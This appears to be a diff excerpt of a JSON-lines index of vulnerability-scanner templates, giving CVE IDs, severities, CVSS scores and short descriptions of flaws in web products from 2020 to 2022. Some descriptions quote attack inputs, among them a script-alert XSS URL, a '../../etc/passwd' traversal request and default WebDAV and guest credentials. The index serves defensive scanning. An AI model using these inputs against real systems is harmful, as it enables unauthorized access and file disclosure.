{"ID":"CVE-2020-29134","Info":{"Name":"TOTVS Fluig \u003c= 1.7.0 - Arbitrary File Read","Severity":"high","Description":"TOTVS Fluig platform contains a path traversal caused by base64-encoded manipulation of the 'file' parameter, letting attackers access arbitrary files, exploit requires attacker to control the 'file' parameter.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2020/CVE-2020-29134.yaml"}
{"ID":"CVE-2020-29164","Info":{"Name":"PacsOne Server \u003c7.1.1 - Cross-Site Scripting","Severity":"medium","Description":"PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-29164.yaml"}
{"ID":"CVE-2020-29214","Info":{"Name":"Alumni Management System 1.0 - SQL Injection","Severity":"critical","Description":"SourceCodester Alumni Management System 1.0 contains a sql_injection caused by unsanitized input in admin/login.php, letting attackers bypass authentication, exploit requires injection of malicious SQL payload.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29214.yaml"}
{"ID":"CVE-2020-29227","Info":{"Name":"Car Rental Management System 1.0 - Local File Inclusion","Severity":"critical","Description":"Car Rental Management System 1.0 allows an unauthenticated user to perform a file inclusion attack against the /index.php file with a partial filename in the \"page\" parameter, leading to code execution.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29227.yaml"}
@@ -1462,7 +1468,6 @@
{"ID":"CVE-2021-26085","Info":{"Name":"Atlassian Confluence Server - Local File Inclusion","Severity":"medium","Description":"Atlassian Confluence Server allows remote attackers to view restricted resources via local file inclusion in the /s/ endpoint.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-26085.yaml"}
{"ID":"CVE-2021-26086","Info":{"Name":"Atlassian Jira Limited - Local File Inclusion","Severity":"medium","Description":"Affected versions of Atlassian Jira Limited Server and Data Center are vulnerable to local file inclusion because they allow remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-26086.yaml"}
{"ID":"CVE-2021-26247","Info":{"Name":"Cacti - Cross-Site Scripting","Severity":"medium","Description":"Cacti contains a cross-site scripting vulnerability via \"http://\u003cCACTI_SERVER\u003e/auth_changepassword.php?ref=\u003cscript\u003ealert(1)\u003c/script\u003e\" which can successfully execute the JavaScript payload present in the \"ref\" URL parameter.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-26247.yaml"}
{"ID":"CVE-2021-26292","Info":{"Name":"AfterLogic Aurora and WebMail Pro \u003c 7.7.9 - Full Path Disclosure","Severity":"low","Description":"AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP DELETE request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to obtain web root path.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2021/CVE-2021-26292.yaml"}
{"ID":"CVE-2021-26294","Info":{"Name":"AfterLogic Aurora and WebMail Pro \u003c 7.7.9 - Information Disclosure","Severity":"high","Description":"AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-26294.yaml"}
{"ID":"CVE-2021-26295","Info":{"Name":"Apache OFBiz \u003c17.12.06 - Arbitrary Code Execution","Severity":"critical","Description":"Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-26295.yaml"}
{"ID":"CVE-2021-26475","Info":{"Name":"EPrints 3.4.2 - Cross-Site Scripting","Severity":"medium","Description":"EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-26475.yaml"}
@@ -1490,7 +1495,6 @@
{"ID":"CVE-2021-27561","Info":{"Name":"YeaLink DM 3.6.0.20 - Remote Command Injection","Severity":"critical","Description":"Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-27561.yaml"}
{"ID":"CVE-2021-27651","Info":{"Name":"Pega Infinity - Authentication Bypass","Severity":"critical","Description":"Pega Infinity versions 8.2.1 through 8.5.2 contain an authentication bypass vulnerability because the password reset functionality for local accounts can be used to bypass local authentication checks.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-27651.yaml"}
{"ID":"CVE-2021-27670","Info":{"Name":"Appspace 6.2.4 - Server-Side Request Forgery","Severity":"critical","Description":"Appspace 6.2.4 allows SSRF via the api/v1/core/proxy/jsonprequest url parameter.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-27670.yaml"}
{"ID":"CVE-2021-27748","Info":{"Name":"IBM WebSphere HCL Digital Experience - Server-Side Request Forgery","Severity":"high","Description":"IBM WebSphere HCL Digital Experience is vulnerable to server-side request forgery that impacts on-premise deployments and containers.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2021/CVE-2021-27748.yaml"}
{"ID":"CVE-2021-27850","Info":{"Name":"Apache Tapestry - Remote Code Execution","Severity":"critical","Description":"Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-27850.yaml"}
{"ID":"CVE-2021-27856","Info":{"Name":"FatPipe WARP/IPVPN/MPVPN - Backdoor Account","Severity":"critical","Description":"FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 contain an account named \"cmuser\" with administrative privileges and no password, letting attackers gain unauthorized admin access, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-27856.yaml"}
{"ID":"CVE-2021-27858","Info":{"Name":"FatPipe WARP/IPVPN/MPVPN - Authorization Bypass","Severity":"medium","Description":"FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 contain a missing authorization caused by lack of access control in the web management interface, letting remote attackers access sensitive URLs, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-27858.yaml"}
@@ -1498,7 +1502,6 @@
{"ID":"CVE-2021-27909","Info":{"Name":"Mautic \u003c3.3.4 - Cross-Site Scripting","Severity":"medium","Description":"Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-27909.yaml"}
{"ID":"CVE-2021-27931","Info":{"Name":"LumisXP \u003c10.0.0 - Blind XML External Entity Attack","Severity":"critical","Description":"LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2021/CVE-2021-27931.yaml"}
{"ID":"CVE-2021-27964","Info":{"Name":"SonLogger - Arbitrary File Upload","Severity":"critical","Description":"SonLogger before 6.4.1 is affected by Unauthenticated Arbitrary File Upload. An attacker can send a POST request to /Config/SaveUploadedHotspotLogoFile without any authentication or session header. There is no check for the file extension or content of the uploaded file.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-27964.yaml"}
{"ID":"CVE-2021-28073","Info":{"Name":"Ntopng Authentication Bypass","Severity":"critical","Description":"Ntopng, a passive network monitoring tool, contains an authentication bypass vulnerability in ntopng \u003c= 4.2","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2021/CVE-2021-28073.yaml"}
{"ID":"CVE-2021-28149","Info":{"Name":"Hongdian H8922 3.0.5 Devices - Local File Inclusion","Severity":"medium","Description":"Hongdian H8922 3.0.5 devices are vulnerable to local file inclusion. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2021/CVE-2021-28149.yaml"}
{"ID":"CVE-2021-28150","Info":{"Name":"Hongdian H8922 3.0.5 - Information Disclosure","Severity":"medium","Description":"Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.","Classification":{"CVSSScore":"5.5"}},"file_path":"http/cves/2021/CVE-2021-28150.yaml"}
{"ID":"CVE-2021-28151","Info":{"Name":"Hongdian H8922 3.0.5 - Remote Command Injection","Severity":"high","Description":"Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2021/CVE-2021-28151.yaml"}
@@ -1508,7 +1511,6 @@
{"ID":"CVE-2021-28480","Info":{"Name":"Microsoft Exchange - Pre-Auth SSRF / ACL Bypass (ProxyNotFound)","Severity":"critical","Description":"Microsoft Exchange Server contains a remote code execution caused by improper input validation in the server component, letting remote attackers execute arbitrary code, exploit requires network access to the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-28480.yaml"}
{"ID":"CVE-2021-28481","Info":{"Name":"Microsoft Exchange - Pre-Auth SSRF / ACL Bypass (ProxyNotFound)","Severity":"critical","Description":"Microsoft Exchange Server contains a remote code execution caused by improper input validation in the server component, letting remote attackers execute arbitrary code, exploit requires network access to the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-28481.yaml"}
{"ID":"CVE-2021-28799","Info":{"Name":"QNAP HBS 3 - Broken Access Control","Severity":"critical","Description":"An improper authorization vulnerability has been reported to affect QNAP NAS running HBS 3 (Hybrid Backup Sync. ) If exploited, the vulnerability allows remote attackers to log in to a device. This issue affects: QNAP Systems Inc. HBS 3 versions prior to v16.0.0415 on QTS 4.5.2; versions prior to v3.0.210412 on QTS 4.3.6; versions prior to v3.0.210411 on QTS 4.3.4; versions prior to v3.0.210411 on QTS 4.3.3; versions prior to v16.0.0419 on QuTS hero h4.5.1; versions prior to v16.0.0419 on QuTScloud c4.5.1~c4.5.4. This issue does not affect: QNAP Systems Inc. HBS 2 . QNAP Systems Inc. HBS 1.3 .\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-28799.yaml"}
{"ID":"CVE-2021-28854","Info":{"Name":"VICIdial Sensitive Information Disclosure","Severity":"high","Description":"VICIdial's Web Client is susceptible to information disclosure because it contains many sensitive files that can be accessed from the client side. These files contain mysqli logs, auth logs, debug information, successful and unsuccessful login attempts with their corresponding IP's, User-Agents, credentials and much more. This information can be leveraged by an attacker to gain further access to VICIdial systems.","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2021/CVE-2021-28854.yaml"}
{"ID":"CVE-2021-28918","Info":{"Name":"Netmask NPM Package - Server-Side Request Forgery","Severity":"critical","Description":"Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2021/CVE-2021-28918.yaml"}
{"ID":"CVE-2021-28937","Info":{"Name":"Acexy Wireless-N WiFi Repeater REV 1.0 - Repeater Password Disclosure","Severity":"high","Description":"Acexy Wireless-N WiFi Repeater REV 1.0 is vulnerable to password disclosure because the password.html page of the web management interface contains the administrator account password in plaintext.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-28937.yaml"}
{"ID":"CVE-2021-29006","Info":{"Name":"rConfig 3.9.6 - Local File Inclusion","Severity":"medium","Description":"rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2021/CVE-2021-29006.yaml"}
@@ -1760,7 +1762,6 @@
{"ID":"CVE-2021-4462","Info":{"Name":"Employee Records System 1.0 - Unauthenticated File Upload RCE","Severity":"critical","Description":"Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4462.yaml"}
{"ID":"CVE-2021-4463","Info":{"Name":"Longjing Technology BEMS API 1.21 - Unauthenticated Arbitrary File Download","Severity":"high","Description":"Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-4463.yaml"}
{"ID":"CVE-2021-44848","Info":{"Name":"Thinfinity VirtualUI User Enumeration","Severity":"medium","Description":"Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-44848.yaml"}
{"ID":"CVE-2021-44910","Info":{"Name":"SpringBlade - Information Leakage","Severity":"high","Description":"SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a SpringCloud distributed microservice architecture and a SpringBoot monolithic microservice architecture. The SpringBlade framework has a default SIGN_KEY, which can be exploited by attackers to obtain sensitive information such as user account password logs.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2021/CVE-2021-44910.yaml"}
{"ID":"CVE-2021-45027","Info":{"Name":"Oliver 5 Library Server \u003c8.00.008.053 - Local File Inclusion","Severity":"high","Description":"Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-45027.yaml"}
{"ID":"CVE-2021-45043","Info":{"Name":"HD-Network Realtime Monitoring System 2.0 - Local File Inclusion","Severity":"high","Description":"Instances of HD-Network Realtime Monitoring System version 2.0 are vulnerable to a Local File Inclusion vulnerability which allows remote unauthenticated attackers to view confidential information.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-45043.yaml"}
{"ID":"CVE-2021-45046","Info":{"Name":"Apache Log4j2 - Remote Code Injection","Severity":"critical","Description":"Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2021/CVE-2021-45046.yaml"}
@@ -1795,6 +1796,7 @@
{"ID":"CVE-2021-46422","Info":{"Name":"SDT-CW3B1 1.1.0 - OS Command Injection","Severity":"critical","Description":"Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-46422.yaml"}
{"ID":"CVE-2021-46424","Info":{"Name":"Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete","Severity":"critical","Description":"Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2021/CVE-2021-46424.yaml"}
{"ID":"CVE-2021-46704","Info":{"Name":"GenieACS =\u003e 1.2.8 - OS Command Injection","Severity":"critical","Description":"In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-46704.yaml"}
{"ID":"CVE-2021-47795","Info":{"Name":"GeoVision GeoWebServer \u003c= 5.3.3 - Local File Inclusion / Cross-Site Scripting","Severity":"high","Description":"GeoVision GeoWebServer 5.3.3 and prior is vulnerable to local file inclusion and cross-site scripting due to improper sanitization of user-supplied input in the WebStrings.srf endpoint. An unauthenticated attacker can read arbitrary files from the server or inject malicious scripts.\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2021/CVE-2021-47795.yaml"}
{"ID":"CVE-2022-0087","Info":{"Name":"Keystone 6 Login Page - Open Redirect and Cross-Site Scripting","Severity":"medium","Description":"On the login page, there is a \"from=\" parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-0087.yaml"}
{"ID":"CVE-2022-0140","Info":{"Name":"WordPress Visual Form Builder \u003c3.0.8 - Information Disclosure","Severity":"medium","Description":"WordPress Visual Form Builder plugin before 3.0.8 contains a information disclosure vulnerability. The plugin does not perform access control on entry form export, allowing an unauthenticated user to export the form entries as CSV files using the vfb-export endpoint.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-0140.yaml"}
{"ID":"CVE-2022-0147","Info":{"Name":"WordPress Cookie Information/Free GDPR Consent Solution \u003c2.0.8 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-0147.yaml"}
@@ -1902,6 +1904,7 @@
{"ID":"CVE-2022-1168","Info":{"Name":"WordPress WP JobSearch \u003c1.5.1 - Cross-Site Scripting","Severity":"medium","Description":"WordPress WP JobSearch plugin prior to 1.5.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-1168.yaml"}
{"ID":"CVE-2022-1170","Info":{"Name":"JobMonster \u003c 4.5.2.9 - Cross-Site Scripting","Severity":"medium","Description":"In the theme JobMonster \u003c 4.5.2.9 there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-1170.yaml"}
{"ID":"CVE-2022-1221","Info":{"Name":"WordPress Gwyn's Imagemap Selector \u003c=0.3.3 - Cross-Site Scripting","Severity":"medium","Description":"Wordpress Gwyn's Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-1221.yaml"}
{"ID":"CVE-2022-1281","Info":{"Name":"Photo Gallery WordPress v1.6.3 - SQL Injection","Severity":"critical","Description":"Photo Gallery WordPress plugin v1.6.3 contains a SQL injection caused by improper escaping of $_POST['filter_tag'] parameter in SQL queries, letting attackers execute arbitrary SQL commands, exploit requires sending crafted POST requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1281.yaml"}
{"ID":"CVE-2022-1329","Info":{"Name":"Elementor Website Builder - Remote Code Execution","Severity":"high","Description":"The Elementor Website Builder plugin for WordPress versions 3.6.0 to 3.6.2 are vulnerable to unauthorized execution of several AJAX actions due to a missing capability check in the ~/core/app/modules/onboarding/module.php file. This makes it possible for attackers to modify site data and upload malicious files which can be used to obtain remote code execution.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2022/CVE-2022-1329.yaml"}
{"ID":"CVE-2022-1386","Info":{"Name":"WordPress Fusion Builder \u003c3.6.2 - Server-Side Request Forgery","Severity":"critical","Description":"WordPress Fusion Builder plugin before 3.6.2 is susceptible to server-side request forgery. The plugin does not validate a parameter in its forms, which can be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application's response. An attacker can potentially interact with hosts on the server's local network, bypass firewalls, and access control measures.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1386.yaml"}
{"ID":"CVE-2022-1388","Info":{"Name":"F5 BIG-IP iControl - REST Auth Bypass RCE","Severity":"critical","Description":"F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1388.yaml"}
@@ -2087,8 +2090,6 @@
{"ID":"CVE-2022-29153","Info":{"Name":"HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery","Severity":"high","Description":"HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11 are susceptible to server-side request forgery. When redirects are returned by HTTP health check endpoints, Consul follows these HTTP redirects by default. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29153.yaml"}
{"ID":"CVE-2022-29272","Info":{"Name":"Nagios XI \u003c5.8.5 - Open Redirect","Severity":"medium","Description":"Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-29272.yaml"}
{"ID":"CVE-2022-29298","Info":{"Name":"SolarView Compact 6.00 - Local File Inclusion","Severity":"high","Description":"SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29298.yaml"}
{"ID":"CVE-2022-29299","Info":{"Name":"SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting","Severity":"medium","Description":"SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'time_begin' parameter to Solar_History.php.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2022/CVE-2022-29299.yaml"}
{"ID":"CVE-2022-29301","Info":{"Name":"SolarView Compact 6.00 - 'pow' Cross-Site Scripting","Severity":"high","Description":"SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'pow' parameter to Solar_SlideSub.php.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2022/CVE-2022-29301.yaml"}
{"ID":"CVE-2022-29303","Info":{"Name":"SolarView Compact 6.00 - OS Command Injection","Severity":"critical","Description":"SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-29303.yaml"}
{"ID":"CVE-2022-29316","Info":{"Name":"Complete Online Job Search System 1.0 - Cross-Site Scripting","Severity":"high","Description":"Complete Online Job Search System 1.0 contains a cross-site scripting vulnerability via index.php?q=advancesearch.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2022/CVE-2022-29316.yaml"}
{"ID":"CVE-2022-29349","Info":{"Name":"kkFileView 4.0.0 - Cross-Site Scripting","Severity":"medium","Description":"kkFileView 4.0.0 contains multiple cross-site scripting vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-29349.yaml"}
@@ -2218,7 +2219,6 @@
{"ID":"CVE-2022-38131","Info":{"Name":"RStudio Connect - Open Redirect","Severity":"medium","Description":"RStudio Connect prior to 2023.01.0 is affected by an Open Redirect issue. The vulnerability could allow an attacker to redirect users to malicious websites.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-38131.yaml"}
{"ID":"CVE-2022-38295","Info":{"Name":"Cuppa CMS v1.0 - Cross Site Scripting","Severity":"medium","Description":"Cuppa CMS v1.0 was discovered to contain a cross-site scripting vulnerability at /table_manager/view/cu_user_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field under the Add New Group function.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-38295.yaml"}
{"ID":"CVE-2022-38296","Info":{"Name":"Cuppa CMS v1.0 - Arbitrary File Upload","Severity":"critical","Description":"Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-38296.yaml"}
{"ID":"CVE-2022-38322","Info":{"Name":"Temenos Transact - Cross-Site Scripting","Severity":"high","Description":"Multiple vulnerabilities in Temenos Transact (formerly T24) that allows multiple reflected cross-site scripting (XSS) attacks.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2022/CVE-2022-38322.yaml"}
{"ID":"CVE-2022-38463","Info":{"Name":"ServiceNow - Cross-Site Scripting","Severity":"medium","Description":"ServiceNow through San Diego Patch 4b and Patch 6 contains a cross-site scripting vulnerability in the logout functionality, which can enable an unauthenticated remote attacker to execute arbitrary JavaScript.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-38463.yaml"}
{"ID":"CVE-2022-38467","Info":{"Name":"CRM Perks Forms \u003c 1.1.1 - Cross Site Scripting","Severity":"medium","Description":"The plugin does not sanitise and escape some parameters from a sample file before outputting them back in the page, leading to Reflected Cross-Site Scripting\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-38467.yaml"}
{"ID":"CVE-2022-38553","Info":{"Name":"Academy Learning Management System \u003c5.9.1 - Cross-Site Scripting","Severity":"medium","Description":"Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-38553.yaml"}
@@ -2233,6 +2233,7 @@
{"ID":"CVE-2022-39048","Info":{"Name":"ServiceNow - Cross-site Scripting","Severity":"medium","Description":"A XSS vulnerability was identified in the ServiceNow UI page assessment_redirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks, including, but not limited to, phishing, redirection, theft of CSRF tokens, and use of an authenticated user's browser or session to attack other systems.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-39048.yaml"}
{"ID":"CVE-2022-3908","Info":{"Name":"WordPress Helloprint \u003c1.4.7 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Helloprint plugin before 1.4.7 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-3908.yaml"}
{"ID":"CVE-2022-39195","Info":{"Name":"LISTSERV 17 - Cross-Site Scripting","Severity":"medium","Description":"LISTSERV 17 web interface contains a cross-site scripting vulnerability. An attacker can inject arbitrary JavaScript or HTML via the \"c\" parameter, thereby possibly allowing the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-39195.yaml"}
{"ID":"CVE-2022-39258","Info":{"Name":"Mailcow Dockerized Swagger UI - Cross-Site Scripting","Severity":"medium","Description":"Mailcow-dockerized before 2022-09a uses a vulnerable version of Swagger UI (before 4.11.1) that is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. When a user accesses the Swagger documentation with a crafted configUrl or url parameter containing JavaScript payloads, arbitrary code execution can occur in the user's browser. This allows attackers to steal cookies, session data, or execute actions on behalf of the victim by enticing them to open a malicious Swagger UI link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-39258.yaml"}
{"ID":"CVE-2022-3933","Info":{"Name":"WordPress Essential Real Estate \u003c3.9.6 - Authenticated Cross-Site Scripting","Severity":"medium","Description":"WordPress Essential Real Estate plugin before 3.9.6 contains an authenticated cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters, which can allow someone with a role as low as admin to inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow theft of cookie-based authentication credentials and launch of other attacks.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2022/CVE-2022-3933.yaml"}
